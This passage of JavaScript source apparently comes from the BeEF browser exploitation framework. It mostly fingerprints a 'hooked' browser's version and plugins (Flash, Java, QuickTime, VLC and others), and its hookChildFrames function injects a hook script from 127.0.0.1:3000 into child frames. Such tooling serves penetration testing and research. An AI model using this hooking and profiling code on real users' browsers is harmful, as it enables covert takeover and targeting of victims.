  4271. C55iOS: this.isC55iOS(), // Chrome 55 on iOS
  4272. C56: this.isC56(), // Chrome 56
  4273. C56iOS: this.isC56iOS(), // Chrome 56 on iOS
  4274. C57: this.isC57(), // Chrome 57
  4275. C57iOS: this.isC57iOS(), // Chrome 57 on iOS
  4276. C58: this.isC58(), // Chrome 58
  4277. C58iOS: this.isC58iOS(), // Chrome 58 on iOS
  4278.  
  4279. C: this.isC(), // Chrome any version
  4280.  
  4281. FF2: this.isFF2(), // Firefox 2
  4282. FF3: this.isFF3(), // Firefox 3
  4283. FF3_5: this.isFF3_5(), // Firefox 3.5
  4284. FF3_6: this.isFF3_6(), // Firefox 3.6
  4285. FF4: this.isFF4(), // Firefox 4
  4286. FF5: this.isFF5(), // Firefox 5
  4287. FF6: this.isFF6(), // Firefox 6
  4288. FF7: this.isFF7(), // Firefox 7
  4289. FF8: this.isFF8(), // Firefox 8
  4290. FF9: this.isFF9(), // Firefox 9
  4291. FF10: this.isFF10(), // Firefox 10
  4292. FF11: this.isFF11(), // Firefox 11
  4293. FF12: this.isFF12(), // Firefox 12
  4294. FF13: this.isFF13(), // Firefox 13
  4295. FF14: this.isFF14(), // Firefox 14
  4296. FF15: this.isFF15(), // Firefox 15
  4297. FF16: this.isFF16(), // Firefox 16
  4298. FF17: this.isFF17(), // Firefox 17
  4299. FF18: this.isFF18(), // Firefox 18
  4300. FF19: this.isFF19(), // Firefox 19
  4301. FF20: this.isFF20(), // Firefox 20
  4302. FF21: this.isFF21(), // Firefox 21
  4303. FF22: this.isFF22(), // Firefox 22
  4304. FF23: this.isFF23(), // Firefox 23
  4305. FF24: this.isFF24(), // Firefox 24
  4306. FF25: this.isFF25(), // Firefox 25
  4307. FF26: this.isFF26(), // Firefox 26
  4308. FF27: this.isFF27(), // Firefox 27
  4309. FF28: this.isFF28(), // Firefox 28
  4310. FF29: this.isFF29(), // Firefox 29
  4311. FF30: this.isFF30(), // Firefox 30
  4312. FF31: this.isFF31(), // Firefox 31
  4313. FF32: this.isFF32(), // Firefox 32
  4314. FF33: this.isFF33(), // Firefox 33
  4315. FF34: this.isFF34(), // Firefox 34
  4316. FF35: this.isFF35(), // Firefox 35
  4317. FF36: this.isFF36(), // Firefox 36
  4318. FF37: this.isFF37(), // Firefox 37
  4319. FF38: this.isFF38(), // Firefox 38
  4320. FF39: this.isFF39(), // Firefox 39
  4321. FF40: this.isFF40(), // Firefox 40
  4322. FF41: this.isFF41(), // Firefox 41
  4323. FF42: this.isFF42(), // Firefox 42
  4324. FF43: this.isFF43(), // Firefox 43
  4325. FF44: this.isFF44(), // Firefox 44
  4326. FF45: this.isFF45(), // Firefox 45
  4327. FF46: this.isFF46(), // Firefox 46
  4328. FF47: this.isFF47(), // Firefox 47
  4329. FF48: this.isFF48(), // Firefox 48
  4330. FF49: this.isFF49(), // Firefox 49
  4331. FF50: this.isFF50(), // Firefox 50
  4332. FF51: this.isFF51(), // Firefox 51
  4333. FF52: this.isFF52(), // Firefox 52
  4334. FF53: this.isFF53(), // Firefox 53
  4335. FF: this.isFF(), // Firefox any version
  4336.  
  4337. IE6: this.isIE6(), // Internet Explorer 6
  4338. IE7: this.isIE7(), // Internet Explorer 7
  4339. IE8: this.isIE8(), // Internet Explorer 8
  4340. IE9: this.isIE9(), // Internet Explorer 9
  4341. IE10: this.isIE10(), // Internet Explorer 10
  4342. IE11: this.isIE11(), // Internet Explorer 11
  4343. IE: this.isIE(), // Internet Explorer any version
  4344.  
  4345. O9_52: this.isO9_52(), // Opera 9.50 through 9.52
  4346. O9_60: this.isO9_60(), // Opera 9.60 through 9.64
  4347. O10: this.isO10(), // Opera 10.xx
  4348. O11: this.isO11(), // Opera 11.xx
  4349. O12: this.isO12(), // Opera 12.xx
  4350. O: this.isO(), // Opera any version
  4351.  
  4352. S4: this.isS4(), // Safari 4.xx
  4353. S5: this.isS5(), // Safari 5.xx
  4354. S6: this.isS6(), // Safari 6.x
  4355. S7: this.isS7(), // Safari 7.x
  4356. S8: this.isS8(), // Safari 8.x
  4357. S: this.isS() // Safari any version
  4358. }
  4359. },
  4360.  
  4361. /**
  4362. * Returns the type of browser being used.
  4363. * @return: {String} User agent software and version.
  4364. *
  4365. * @example: beef.browser.getBrowserVersion()
  4366. */
  4367. getBrowserVersion: function () {
  4368.  
  4369. if (this.isC5()) {
  4370. return '5'
  4371. }
  4372. ; // Chrome 5
  4373. if (this.isC6()) {
  4374. return '6'
  4375. }
  4376. ; // Chrome 6
  4377. if (this.isC7()) {
  4378. return '7'
  4379. }
  4380. ; // Chrome 7
  4381. if (this.isC8()) {
  4382. return '8'
  4383. }
  4384. ; // Chrome 8
  4385. if (this.isC9()) {
  4386. return '9'
  4387. }
  4388. ; // Chrome 9
  4389. if (this.isC10()) {
  4390. return '10'
  4391. }
  4392. ; // Chrome 10
  4393. if (this.isC11()) {
  4394. return '11'
  4395. }
  4396. ; // Chrome 11
  4397. if (this.isC12()) {
  4398. return '12'
  4399. }
  4400. ; // Chrome 12
  4401. if (this.isC13()) {
  4402. return '13'
  4403. }
  4404. ; // Chrome 13
  4405. if (this.isC14()) {
  4406. return '14'
  4407. }
  4408. ; // Chrome 14
  4409. if (this.isC15()) {
  4410. return '15'
  4411. }
  4412. ; // Chrome 15
  4413. if (this.isC16()) {
  4414. return '16'
  4415. }
  4416. ; // Chrome 16
  4417. if (this.isC17()) {
  4418. return '17'
  4419. }
  4420. ; // Chrome 17
  4421. if (this.isC18()) {
  4422. return '18'
  4423. }
  4424. ; // Chrome 18
  4425. if (this.isC19()) {
  4426. return '19'
  4427. }
  4428. ; // Chrome 19
  4429. if (this.isC19iOS()) {
  4430. return '19'
  4431. }
  4432. ; // Chrome 19 for iOS
  4433. if (this.isC20()) {
  4434. return '20'
  4435. }
  4436. ; // Chrome 20
  4437. if (this.isC20iOS()) {
  4438. return '20'
  4439. }
  4440. ; // Chrome 20 for iOS
  4441. if (this.isC21()) {
  4442. return '21'
  4443. }
  4444. ; // Chrome 21
  4445. if (this.isC21iOS()) {
  4446. return '21'
  4447. }
  4448. ; // Chrome 21 for iOS
  4449. if (this.isC22()) {
  4450. return '22'
  4451. }
  4452. ; // Chrome 22
  4453. if (this.isC22iOS()) {
  4454. return '22'
  4455. }
  4456. ; // Chrome 22 for iOS
  4457. if (this.isC23()) {
  4458. return '23'
  4459. }
  4460. ; // Chrome 23
  4461. if (this.isC23iOS()) {
  4462. return '23'
  4463. }
  4464. ; // Chrome 23 for iOS
  4465. if (this.isC24()) {
  4466. return '24'
  4467. }
  4468. ; // Chrome 24
  4469. if (this.isC24iOS()) {
  4470. return '24'
  4471. }
  4472. ; // Chrome 24 for iOS
  4473. if (this.isC25()) {
  4474. return '25'
  4475. }
  4476. ; // Chrome 25
  4477. if (this.isC25iOS()) {
  4478. return '25'
  4479. }
  4480. ; // Chrome 25 for iOS
  4481. if (this.isC26()) {
  4482. return '26'
  4483. }
  4484. ; // Chrome 26
  4485. if (this.isC26iOS()) {
  4486. return '26'
  4487. }
  4488. ; // Chrome 26 for iOS
  4489. if (this.isC27()) {
  4490. return '27'
  4491. }
  4492. ; // Chrome 27
  4493. if (this.isC27iOS()) {
  4494. return '27'
  4495. }
  4496. ; // Chrome 27 for iOS
  4497. if (this.isC28()) {
  4498. return '28'
  4499. }
  4500. ; // Chrome 28
  4501. if (this.isC28iOS()) {
  4502. return '28'
  4503. }
  4504. ; // Chrome 28 for iOS
  4505. if (this.isC29()) {
  4506. return '29'
  4507. }
  4508. ; // Chrome 29
  4509. if (this.isC29iOS()) {
  4510. return '29'
  4511. }
  4512. ; // Chrome 29 for iOS
  4513. if (this.isC30()) {
  4514. return '30'
  4515. }
  4516. ; // Chrome 30
  4517. if (this.isC30iOS()) {
  4518. return '30'
  4519. }
  4520. ; // Chrome 30 for iOS
  4521. if (this.isC31()) {
  4522. return '31'
  4523. }
  4524. ; // Chrome 31
  4525. if (this.isC31iOS()) {
  4526. return '31'
  4527. }
  4528. ; // Chrome 31 for iOS
  4529. if (this.isC32()) {
  4530. return '32'
  4531. }
  4532. ; // Chrome 32
  4533. if (this.isC32iOS()) {
  4534. return '32'
  4535. }
  4536. ; // Chrome 32 for iOS
  4537. if (this.isC33()) {
  4538. return '33'
  4539. }
  4540. ; // Chrome 33
  4541. if (this.isC33iOS()) {
  4542. return '33'
  4543. }
  4544. ; // Chrome 33 for iOS
  4545. if (this.isC34()) {
  4546. return '34'
  4547. }
  4548. ; // Chrome 34
  4549. if (this.isC34iOS()) {
  4550. return '34'
  4551. }
  4552. ; // Chrome 34 for iOS
  4553. if (this.isC35()) {
  4554. return '35'
  4555. }
  4556. ; // Chrome 35
  4557. if (this.isC35iOS()) {
  4558. return '35'
  4559. }
  4560. ; // Chrome 35 for iOS
  4561. if (this.isC36()) {
  4562. return '36'
  4563. }
  4564. ; // Chrome 36
  4565. if (this.isC36iOS()) {
  4566. return '36'
  4567. }
  4568. ; // Chrome 36 for iOS
  4569. if (this.isC37()) {
  4570. return '37'
  4571. }
  4572. ; // Chrome 37
  4573. if (this.isC37iOS()) {
  4574. return '37'
  4575. }
  4576. ; // Chrome 37 for iOS
  4577. if (this.isC38()) {
  4578. return '38'
  4579. }
  4580. ; // Chrome 38
  4581. if (this.isC38iOS()) {
  4582. return '38'
  4583. }
  4584. ; // Chrome 38 for iOS
  4585. if (this.isC39()) {
  4586. return '39'
  4587. }
  4588. ; // Chrome 39
  4589. if (this.isC39iOS()) {
  4590. return '39'
  4591. }
  4592. ; // Chrome 39 for iOS
  4593. if (this.isC40()) {
  4594. return '40'
  4595. }
  4596. ; // Chrome 40
  4597. if (this.isC40iOS()) {
  4598. return '40'
  4599. }
  4600. ; // Chrome 40 for iOS
  4601. if (this.isC41()) {
  4602. return '41'
  4603. }
  4604. ; // Chrome 41
  4605. if (this.isC41iOS()) {
  4606. return '41'
  4607. }
  4608. ; // Chrome 41 for iOS
  4609. if (this.isC42()) {
  4610. return '42'
  4611. }
  4612. ; // Chrome 42
  4613. if (this.isC42iOS()) {
  4614. return '42'
  4615. }
  4616. ; // Chrome 42 for iOS
  4617. if (this.isC43()) {
  4618. return '43'
  4619. }
  4620. ; // Chrome 43
  4621. if (this.isC43iOS()) {
  4622. return '43'
  4623. }
  4624. ; // Chrome 43 for iOS
  4625. if (this.isC44()) {
  4626. return '44'
  4627. }
  4628. ; // Chrome 44
  4629. if (this.isC44iOS()) {
  4630. return '44'
  4631. }
  4632. ; // Chrome 44 for iOS
  4633. if (this.isC45()) {
  4634. return '45'
  4635. }
  4636. ; // Chrome 45
  4637. if (this.isC45iOS()) {
  4638. return '45'
  4639. }
  4640. ; // Chrome 45 for iOS
  4641. if (this.isC46()) {
  4642. return '46'
  4643. }
  4644. ;// Chrome 46
  4645. if (this.isC46iOS()) {
  4646. return '46'
  4647. }
  4648. ; // Chrome 46 for iOS
  4649. if (this.isC47()) {
  4650. return '47'
  4651. }
  4652. ;// Chrome 47
  4653. if (this.isC47iOS()) {
  4654. return '47'
  4655. }
  4656. ; // Chrome 47 for iOS
  4657. if (this.isC48()) {
  4658. return '48'
  4659. }
  4660. ;// Chrome 48
  4661. if (this.isC48iOS()) {
  4662. return '48'
  4663. }
  4664. ; // Chrome 48 for iOS
  4665. if (this.isC49()) {
  4666. return '49'
  4667. }
  4668. ;// Chrome 49
  4669. if (this.isC49iOS()) {
  4670. return '49'
  4671. }
  4672. ; // Chrome 49 for iOS
  4673. if (this.isC50()) {
  4674. return '50'
  4675. }
  4676. ;// Chrome 50
  4677. if (this.isC50iOS()) {
  4678. return '50'
  4679. }
  4680. ; // Chrome 50 for iOS
  4681. if (this.isC51()) {
  4682. return '51'
  4683. }
  4684. ;// Chrome 51
  4685. if (this.isC51iOS()) {
  4686. return '51'
  4687. }
  4688. ; // Chrome 51 for iOS
  4689. if (this.isC52()) {
  4690. return '52'
  4691. }
  4692. ;// Chrome 52
  4693. if (this.isC52iOS()) {
  4694. return '52'
  4695. }
  4696. ; // Chrome 52 for iOS
  4697. if (this.isC53()) {
  4698. return '53'
  4699. }
  4700. ;// Chrome 53
  4701. if (this.isC53iOS()) {
  4702. return '53'
  4703. }
  4704. ; // Chrome 53 for iOS
  4705. if (this.isC54()) {
  4706. return '54'
  4707. }
  4708. ;// Chrome 54
  4709. if (this.isC54iOS()) {
  4710. return '54'
  4711. }
  4712. ; // Chrome 54 for iOS
  4713. if (this.isC55()) {
  4714. return '55'
  4715. }
  4716. ;// Chrome 55
  4717. if (this.isC55iOS()) {
  4718. return '55'
  4719. }
  4720. ; // Chrome 55 for iOS
  4721. if (this.isC56()) {
  4722. return '56'
  4723. }
  4724. ;// Chrome 56
  4725. if (this.isC56iOS()) {
  4726. return '56'
  4727. }
  4728. ; // Chrome 56 for iOS
  4729. if (this.isC57()) {
  4730. return '57'
  4731. }
  4732. ;// Chrome 57
  4733. if (this.isC57iOS()) {
  4734. return '57'
  4735. }
  4736. ; // Chrome 57 for iOS
  4737. if (this.isC58()) {
  4738. return '58'
  4739. }
  4740. ;// Chrome 58
  4741. if (this.isC58iOS()) {
  4742. return '58'
  4743. }
  4744. ; // Chrome 58 for iOS
  4745.  
  4746.  
  4747. if (this.isFF2()) {
  4748. return '2'
  4749. }
  4750. ; // Firefox 2
  4751. if (this.isFF3()) {
  4752. return '3'
  4753. }
  4754. ; // Firefox 3
  4755. if (this.isFF3_5()) {
  4756. return '3.5'
  4757. }
  4758. ; // Firefox 3.5
  4759. if (this.isFF3_6()) {
  4760. return '3.6'
  4761. }
  4762. ; // Firefox 3.6
  4763. if (this.isFF4()) {
  4764. return '4'
  4765. }
  4766. ; // Firefox 4
  4767. if (this.isFF5()) {
  4768. return '5'
  4769. }
  4770. ; // Firefox 5
  4771. if (this.isFF6()) {
  4772. return '6'
  4773. }
  4774. ; // Firefox 6
  4775. if (this.isFF7()) {
  4776. return '7'
  4777. }
  4778. ; // Firefox 7
  4779. if (this.isFF8()) {
  4780. return '8'
  4781. }
  4782. ; // Firefox 8
  4783. if (this.isFF9()) {
  4784. return '9'
  4785. }
  4786. ; // Firefox 9
  4787. if (this.isFF10()) {
  4788. return '10'
  4789. }
  4790. ; // Firefox 10
  4791. if (this.isFF11()) {
  4792. return '11'
  4793. }
  4794. ; // Firefox 11
  4795. if (this.isFF12()) {
  4796. return '12'
  4797. }
  4798. ; // Firefox 12
  4799. if (this.isFF13()) {
  4800. return '13'
  4801. }
  4802. ; // Firefox 13
  4803. if (this.isFF14()) {
  4804. return '14'
  4805. }
  4806. ; // Firefox 14
  4807. if (this.isFF15()) {
  4808. return '15'
  4809. }
  4810. ; // Firefox 15
  4811. if (this.isFF16()) {
  4812. return '16'
  4813. }
  4814. ; // Firefox 16
  4815. if (this.isFF17()) {
  4816. return '17'
  4817. }
  4818. ; // Firefox 17
  4819. if (this.isFF18()) {
  4820. return '18'
  4821. }
  4822. ; // Firefox 18
  4823. if (this.isFF19()) {
  4824. return '19'
  4825. }
  4826. ; // Firefox 19
  4827. if (this.isFF20()) {
  4828. return '20'
  4829. }
  4830. ; // Firefox 20
  4831. if (this.isFF21()) {
  4832. return '21'
  4833. }
  4834. ; // Firefox 21
  4835. if (this.isFF22()) {
  4836. return '22'
  4837. }
  4838. ; // Firefox 22
  4839. if (this.isFF23()) {
  4840. return '23'
  4841. }
  4842. ; // Firefox 23
  4843. if (this.isFF24()) {
  4844. return '24'
  4845. }
  4846. ; // Firefox 24
  4847. if (this.isFF25()) {
  4848. return '25'
  4849. }
  4850. ; // Firefox 25
  4851. if (this.isFF26()) {
  4852. return '26'
  4853. }
  4854. ; // Firefox 26
  4855. if (this.isFF27()) {
  4856. return '27'
  4857. }
  4858. ; // Firefox 27
  4859. if (this.isFF28()) {
  4860. return '28'
  4861. }
  4862. ; // Firefox 28
  4863. if (this.isFF29()) {
  4864. return '29'
  4865. }
  4866. ; // Firefox 29
  4867. if (this.isFF30()) {
  4868. return '30'
  4869. }
  4870. ; // Firefox 30
  4871. if (this.isFF31()) {
  4872. return '31'
  4873. }
  4874. ; // Firefox 31
  4875. if (this.isFF32()) {
  4876. return '32'
  4877. }
  4878. ; // Firefox 32
  4879. if (this.isFF33()) {
  4880. return '33'
  4881. }
  4882. ; // Firefox 33
  4883. if (this.isFF34()) {
  4884. return '34'
  4885. }
  4886. ; // Firefox 34
  4887. if (this.isFF35()) {
  4888. return '35'
  4889. }
  4890. ; // Firefox 35
  4891. if (this.isFF36()) {
  4892. return '36'
  4893. }
  4894. ; // Firefox 36
  4895. if (this.isFF37()) {
  4896. return '37'
  4897. }
  4898. ; // Firefox 37
  4899. if (this.isFF38()) {
  4900. return '38'
  4901. }
  4902. ; // Firefox 38
  4903. if (this.isFF39()) {
  4904. return '39'
  4905. }
  4906. ; // Firefox 39
  4907. if (this.isFF40()) {
  4908. return '40'
  4909. }
  4910. ; // Firefox 40
  4911. if (this.isFF41()) {
  4912. return '41'
  4913. }
  4914. ; // Firefox 41
  4915. if (this.isFF42()) {
  4916. return '42'
  4917. }
  4918. ; // Firefox 42
  4919. if (this.isFF43()) {
  4920. return '43'
  4921. }
  4922. ; // Firefox 43
  4923. if (this.isFF44()) {
  4924. return '44'
  4925. }
  4926. ; // Firefox 44
  4927. if (this.isFF45()) {
  4928. return '45'
  4929. }
  4930. ; // Firefox 45
  4931. if (this.isFF46()) {
  4932. return '46'
  4933. }
  4934. ; // Firefox 46
  4935. if (this.isFF47()) {
  4936. return '47'
  4937. }
  4938. ; // Firefox 47
  4939. if (this.isFF48()) {
  4940. return '48'
  4941. }
  4942. ; // Firefox 48
  4943. if (this.isFF49()) {
  4944. return '49'
  4945. }
  4946. ; // Firefox 49
  4947. if (this.isFF50()) {
  4948. return '50'
  4949. }
  4950. ; // Firefox 50
  4951. if (this.isFF51()) {
  4952. return '51'
  4953. }
  4954. ; // Firefox 51
  4955. if (this.isFF52()) {
  4956. return '52'
  4957. }
  4958. ; // Firefox 52
  4959. if (this.isFF53()) {
  4960. return '53'
  4961. }
  4962. ; // Firefox 53
  4963.  
  4964. if (this.isIE6()) {
  4965. return '6'
  4966. }
  4967. ; // Internet Explorer 6
  4968. if (this.isIE7()) {
  4969. return '7'
  4970. }
  4971. ; // Internet Explorer 7
  4972. if (this.isIE8()) {
  4973. return '8'
  4974. }
  4975. ; // Internet Explorer 8
  4976. if (this.isIE9()) {
  4977. return '9'
  4978. }
  4979. ; // Internet Explorer 9
  4980. if (this.isIE10()) {
  4981. return '10'
  4982. }
  4983. ; // Internet Explorer 10
  4984. if (this.isIE11()) {
  4985. return '11'
  4986. }
  4987. ; // Internet Explorer 11
  4988.  
  4989. if (this.isS4()) {
  4990. return '4'
  4991. }
  4992. ; // Safari 4
  4993. if (this.isS5()) {
  4994. return '5'
  4995. }
  4996. ; // Safari 5
  4997. if (this.isS6()) {
  4998. return '6'
  4999. }
  5000. ; // Safari 6
  5001.  
  5002. if (this.isS7()) {
  5003. return '7'
  5004. }
  5005. ; // Safari 7
  5006. if (this.isS8()) {
  5007. return '8'
  5008. }
  5009. ; // Safari 8
  5010.  
  5011. if (this.isO9_52()) {
  5012. return '9.5'
  5013. }
  5014. ; // Opera 9.5x
  5015. if (this.isO9_60()) {
  5016. return '9.6'
  5017. }
  5018. ; // Opera 9.6
  5019. if (this.isO10()) {
  5020. return '10'
  5021. }
  5022. ; // Opera 10.xx
  5023. if (this.isO11()) {
  5024. return '11'
  5025. }
  5026. ; // Opera 11.xx
  5027. if (this.isO12()) {
  5028. return '12'
  5029. }
  5030. ; // Opera 12.xx
  5031.  
  5032. return 'UNKNOWN'; // Unknown UA
  5033. },
  5034.  
  5035. /**
  5036. * Returns the type of user agent by hooked browser.
  5037. * @return: {String} User agent software.
  5038. *
  5039. * @example: beef.browser.getBrowserName()
  5040. */
  5041. getBrowserName: function () {
  5042.  
  5043. if (this.isC()) {
  5044. return 'C'
  5045. }
  5046. ; // Chrome any version
  5047. if (this.isFF()) {
  5048. return 'FF'
  5049. }
  5050. ; // Firefox any version
  5051. if (this.isIE()) {
  5052. return 'IE'
  5053. }
  5054. ; // Internet Explorer any version
  5055. if (this.isO()) {
  5056. return 'O'
  5057. }
  5058. ; // Opera any version
  5059. if (this.isS()) {
  5060. return 'S'
  5061. }
  5062. ; // Safari any version
  5063. if (this.isA()) {
  5064. return 'A'
  5065. }
  5066. ; // Avant any version
  5067. if (this.isMidori()) {
  5068. return 'MI'
  5069. }
  5070. ; // Midori any version
  5071. if (this.isOdyssey()) {
  5072. return 'OD'
  5073. }
  5074. ; // Odyssey any version
  5075. if (this.isBrave()) {
  5076. return 'BR'
  5077. }
  5078. ; // Brave any version
  5079. return 'UNKNOWN'; // Unknown UA
  5080. },
  5081.  
  5082. /**
  5083. * Hooks all child frames in the current window
  5084. * Restricted by same-origin policy
  5085. */
  5086. hookChildFrames: function () {
  5087.  
  5088. // create script object
  5089. var script = document.createElement('script');
  5090. script.type = 'text/javascript';
  5091. script.src = 'http://127.0.0.1:3000/hook.js';
  5092.  
  5093. // loop through child frames
  5094. for (var i = 0; i < self.frames.length; i++) {
  5095. try {
  5096. // append hook script
  5097. self.frames[i].document.body.appendChild(script);
  5098. beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
  5099. } catch (e) {
  5100. // warn on cross-origin
  5101. beef.debug("Hooking child frame failed: " + e.message);
  5102. }
  5103. }
  5104. },
  5105.  
  5106. /**
  5107. * Checks if the zombie has flash installed and enabled.
  5108. * @return: {Boolean} true or false.
  5109. *
  5110. * @example: if(beef.browser.hasFlash()) { ... }
  5111. */
  5112. hasFlash: function () {
  5113. if (!this.type().IE) {
  5114. return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
  5115. } else {
  5116. flash_versions = 12;
  5117. flash_installed = false;
  5118.  
  5119.  
  5120. if (this.type().IE11) {
  5121. flash_installed = (navigator.plugins["Shockwave Flash"] != undefined);
  5122. } else {
  5123. if (window.ActiveXObject != null) {
  5124. for (x = 2; x <= flash_versions; x++) {
  5125. try {
  5126. Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
  5127. if (Flash) {
  5128. flash_installed = true;
  5129. }
  5130. } catch (e) {
  5131. beef.debug("Creating Flash ActiveX object failed: " + e.message);
  5132. }
  5133. }
  5134. }
  5135. }
  5136. return flash_installed;
  5137. }
  5138. },
  5139.  
  5140. /**
  5141. * Checks if the zombie has the QuickTime plugin installed.
  5142. * @return: {Boolean} true or false.
  5143. *
  5144. * @example: if ( beef.browser.hasQuickTime() ) { ... }
  5145. */
  5146. hasQuickTime: function () {
  5147.  
  5148. var quicktime = false;
  5149.  
  5150. if (this.capabilities()["navigator.plugins"]) {
  5151.  
  5152. for (i = 0; i < navigator.plugins.length; i++) {
  5153.  
  5154. if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
  5155. quicktime = true;
  5156. }
  5157.  
  5158. }
  5159.  
  5160. // Has navigator.plugins
  5161. } else {
  5162.  
  5163. try {
  5164.  
  5165. var qt_test = new ActiveXObject('QuickTime.QuickTime');
  5166.  
  5167. } catch (e) {
  5168. beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
  5169. }
  5170.  
  5171. if (qt_test) {
  5172. quicktime = true;
  5173. }
  5174.  
  5175. }
  5176.  
  5177. return quicktime;
  5178.  
  5179. },
  5180.  
  5181. /**
  5182. * Checks if the zombie has the RealPlayer plugin installed.
  5183. * @return: {Boolean} true or false.
  5184. *
  5185. * @example: if ( beef.browser.hasRealPlayer() ) { ... }
  5186. */
  5187. hasRealPlayer: function () {
  5188.  
  5189. var realplayer = false;
  5190.  
  5191. if (this.capabilities()["navigator.plugins"]) {
  5192.  
  5193.  
  5194. for (i = 0; i < navigator.plugins.length; i++) {
  5195.  
  5196. if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
  5197. realplayer = true;
  5198. }
  5199.  
  5200. }
  5201.  
  5202. // has navigator.plugins
  5203. } else {
  5204.  
  5205. var definedControls = [
  5206. 'RealPlayer',
  5207. 'rmocx.RealPlayer G2 Control',
  5208. 'rmocx.RealPlayer G2 Control.1',
  5209. 'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
  5210. 'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
  5211. ];
  5212.  
  5213. for (var i = 0; i < definedControls.length; i++) {
  5214.  
  5215. try {
  5216. var rp_test = new ActiveXObject(definedControls[i]);
  5217. } catch (e) {
  5218. beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
  5219. }
  5220.  
  5221. if (rp_test) {
  5222. realplayer = true;
  5223.  
  5224. }
  5225. }
  5226. }
  5227.  
  5228. return realplayer;
  5229.  
  5230. },
  5231.  
  5232. /**
  5233. * Checks if the zombie has the Windows Media Player plugin installed.
  5234. * @return: {Boolean} true or false.
  5235. *
  5236. * @example: if ( beef.browser.hasWMP() ) { ... }
  5237. */
  5238. hasWMP: function () {
  5239.  
  5240. var wmp = false;
  5241.  
  5242. if (this.capabilities()["navigator.plugins"]) {
  5243.  
  5244.  
  5245. for (i = 0; i < navigator.plugins.length; i++) {
  5246.  
  5247. if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
  5248. wmp = true;
  5249. }
  5250.  
  5251. }
  5252.  
  5253. // Has navigator.plugins
  5254. } else {
  5255.  
  5256. try {
  5257.  
  5258. var wmp_test = new ActiveXObject('WMPlayer.OCX');
  5259.  
  5260. } catch (e) {
  5261. beef.debug("Creating WMP ActiveX object failed: " + e.message);
  5262. }
  5263.  
  5264. if (wmp_test) {
  5265. wmp = true;
  5266. }
  5267.  
  5268. }
  5269.  
  5270. return wmp;
  5271.  
  5272. },
  5273.  
  5274. /**
  5275. * Checks if VLC is installed
  5276. * @return: {Boolean} true or false
  5277. **/
  5278. hasVLC: function () {
  5279. var vlc = false;
  5280. if (!this.type().IE) {
  5281. for (i = 0; i < navigator.plugins.length; i++) {
  5282. if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
  5283. vlc = true;
  5284. }
  5285. }
  5286. } else {
  5287. try {
  5288. control = new ActiveXObject("VideoLAN.VLCPlugin.2");
  5289. vlc = true;
  5290. } catch (e) {
  5291. beef.debug("Creating VLC ActiveX object failed: " + e.message);
  5292. }
  5293. }
  5294. return vlc;
  5295. },
  5296.  
  5297. /**
  5298. * Checks if the zombie has Java enabled.
  5299. * @return: {Boolean} true or false.
  5300. *
  5301. * @example: if(beef.browser.javaEnabled()) { ... }
  5302. */
  5303. javaEnabled: function () {
  5304.  
  5305. return navigator.javaEnabled();
  5306.  
  5307. },
  5308.  
  5309. /**
  5310. * Checks if the Phonegap API is available from the hooked origin.
  5311. * @return: {Boolean} true or false.
  5312. *
  5313. * @example: if(beef.browser.hasPhonegap()) { ... }
  5314. */
  5315. hasPhonegap: function () {
  5316. var result = false;
  5317.  
  5318. try {
  5319. if (!!device.phonegap || !!device.cordova) result = true; else result = false;
  5320. }
  5321. catch (e) {
  5322. result = false;
  5323. }
  5324. return result;
  5325. },
  5326.  
  5327. /**
  5328. * Checks if the browser supports CORS
  5329. * @return: {Boolean} true or false.
  5330. *
  5331. * @example: if(beef.browser.hasCors()) { ... }
  5332. */
  5333. hasCors: function () {
  5334. if ('withCredentials' in new XMLHttpRequest())
  5335. return true;
  5336. else if (typeof XDomainRequest !== "undefined")
  5337. return true;
  5338. else
  5339. return false;
  5340. },
  5341.  
  5342. /**
  5343. * Checks if the zombie has Java installed and enabled.
  5344. * @return: {Boolean} true or false.
  5345. *
  5346. * @example: if(beef.browser.hasJava()) { ... }
  5347. */
  5348. hasJava: function () {
  5349. if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
  5350. return true;
  5351. } else {
  5352. return false;
  5353. }
  5354. },
  5355.  
  5356. /**
  5357. * Checks if the zombie has VBScript enabled.
  5358. * @return: {Boolean} true or false.
  5359. *
  5360. * @example: if(beef.browser.hasVBScript()) { ... }
  5361. */
  5362. hasVBScript: function () {
  5363. if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
  5364. return true;
  5365. } else {
  5366. return false;
  5367. }
  5368. },
  5369.  
  5370. /**
  5371. * Returns the list of plugins installed in the browser.
  5372. */
  5373. getPlugins: function () {
  5374.  
  5375. var results;
  5376. Array.prototype.unique = function () {
  5377. var o = {}, i, l = this.length, r = [];
  5378. for (i = 0; i < l; i += 1) o[this[i]] = this[i];
  5379. for (i in o) r.push(o[i]);
  5380. return r;
  5381. };
  5382.  
  5383. // Things lacking navigator.plugins
  5384. if (!this.capabilities()["navigator.plugins"]) this.getPluginsIE();
  5385.  
  5386. // All other browsers that support navigator.plugins
  5387. else if (navigator.plugins && navigator.plugins.length > 0) {
  5388. results = new Array();
  5389. for (var i = 0; i < navigator.plugins.length; i++) {
  5390.  
  5391. // Firefox returns exact plugin versions
  5392. if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;
  5393.  
  5394. // Webkit and Presto (Opera)
  5395. // Don't support the version attribute
  5396. // Sometimes store the version in description (Real, Adobe)
  5397. else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
  5398. }
  5399. results = results.unique().toString();
  5400.  
  5401. // All browsers that don't support navigator.plugins
  5402. } else {
  5403. results = new Array();
  5404. //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
  5405. // On linux sistem the "version" slot is empty so I'll attach "description" after version
  5406. var plugins = {
  5407.  
  5408. 'AdobeAcrobat': {
  5409. 'control': 'Adobe Acrobat',
  5410. 'return': function (control) {
  5411. try {
  5412. version = navigator.plugins["Adobe Acrobat"]["description"];
  5413. return 'Adobe Acrobat Version ' + version; //+ " description "+ filename;
